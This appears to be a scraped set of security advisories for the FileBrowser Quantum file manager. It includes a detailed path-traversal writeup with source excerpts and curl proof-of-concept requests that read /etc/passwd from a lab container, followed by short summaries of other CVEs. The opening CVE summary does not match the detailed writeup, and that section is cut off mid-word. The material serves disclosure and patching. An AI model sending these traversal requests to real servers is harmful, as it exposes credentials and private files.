CVE-2026-116682 is a path traversal vulnerability in the FileBrowser Quantum web-based file manager. Before versions 1.5.2-stable and 2.0.1-beta, the backend improperly resolves symbolic links without verifying that the target remains within the user's authorized directory scope. This allows authenticated users with download access, and even unauthenticated users via public share links, to read files outside their assigned scope by exploiting reachable symlinks. The issue is fixed in versions 1.5.2-stable and 2.0.1-beta.
### Summary
The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.
The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required.
The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`.
Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys.
### Details
**1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)**
```go
userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory
```
`SanitizeUserPath()` explicitly rejects `..` segments:
```go
func SanitizeUserPath(userPath string) (string, error) {
// ...
for _, segment := range segments {
if segment == ".." {
return "", fmt.Errorf("invalid path: path traversal detected")
}
}
// ...
}
```
Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required.
**2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)**
```go
name := r.URL.Query().Get("name") // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
filepath.Join(parentDir, name)) // line 63 — TRAVERSAL
```
`filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor.
**3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)**
```go
func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
info, err := os.Stat(subtitlePath) // follows the traversed path
// size check: < 50MB
isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity
content, err := os.ReadFile(subtitlePath) // reads and returns content
return string(content), nil
}
```
The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.
**4. Endpoint is behind `withUser` but requires no special permissions**
```go
// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))
```
Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.
### PoC
**Vector 1: `path` traversal (no anchor file needed):**
```bash
docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"
```
**Expected output:** `/etc/passwd` contents with HTTP 200.
**Vector 2: `name` traversal (anchor file required):**
```bash
mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"
```
**Expected output:** `/etc/passwd` contents with HTTP 200.
### Impact
- **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
- **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed.
- **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
- **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
- **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens.
- **No special permissions required**: The endpoint only requires basic authenti
FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.3.2-beta, the `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. Version 1.3.2-beta patches the issue.
FileBrowser Quantum versions prior to 1.3.2-stable and 1.4.1-beta contain a vulnerability that may leak sensitive information such as source code and file paths. This issue is identified as CWE-200, Exposure of Sensitive Information to an Unauthorized Actor. Versions 1.3.2-stable and 1.4.1-beta address this vulnerability. No known workarounds are available.
CVE-2026-48777 is a critical path traversal vulnerability in the gtsteffaniak filebrowser product, specifically affecting versions prior to 1.3.3-stable and 1.4.2-beta. The flaw exists in the publicPatchHandler endpoint, where user-controlled path inputs are joined with a trusted base path before sanitization, allowing traversal outside the intended directory. This enables an attacker with a public share link that has AllowModify=true to move, copy, or rename arbitrary files within the share owner's root directory. The issue was fixed in versions 1.3.3-stable and 1.4.2-beta.
CVE-2026-44542 is a critical path traversal vulnerability in gtsteffaniak's FileBrowser Quantum versions prior to 1.3.1-stable and 1.3.9-beta. The flaw allows an unauthenticated attacker with a valid public share hash and delete permissions to delete arbitrary files outside the intended shared directory by exploiting improper sanitization of attacker-controlled path input. This affects the public/api/resources and public/api/resources/bulk endpoints. The vulnerability is fixed in versions 1.3.1-stable and 1.
FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-beta and 1.2.2-stable, Stored XSS is possible via share metadata fields (e.g., title, description) that are rendered into HTML for /public/share/<hash> without context-aware escaping. The server uses text/template instead of html/template, allowing injected scripts to execute when victims visit the share URL. This vulnerability is fixed in 1.3.1-beta and 1.2.2-stable.
FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to 1.3.1-beta and 1.2.2-stable, the remediation for CVE-2026-27611 is incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info. This vulnerability is fixed in 1.3.1-beta and 1.2.2-stable.
FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to versions 1.1.3-stable and 1.2.6-beta, when users share password-protected files, the recipient can completely bypass the password and still download the file. This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password. Versions 1.1.3-stable and 1.2.6-beta fix the issue.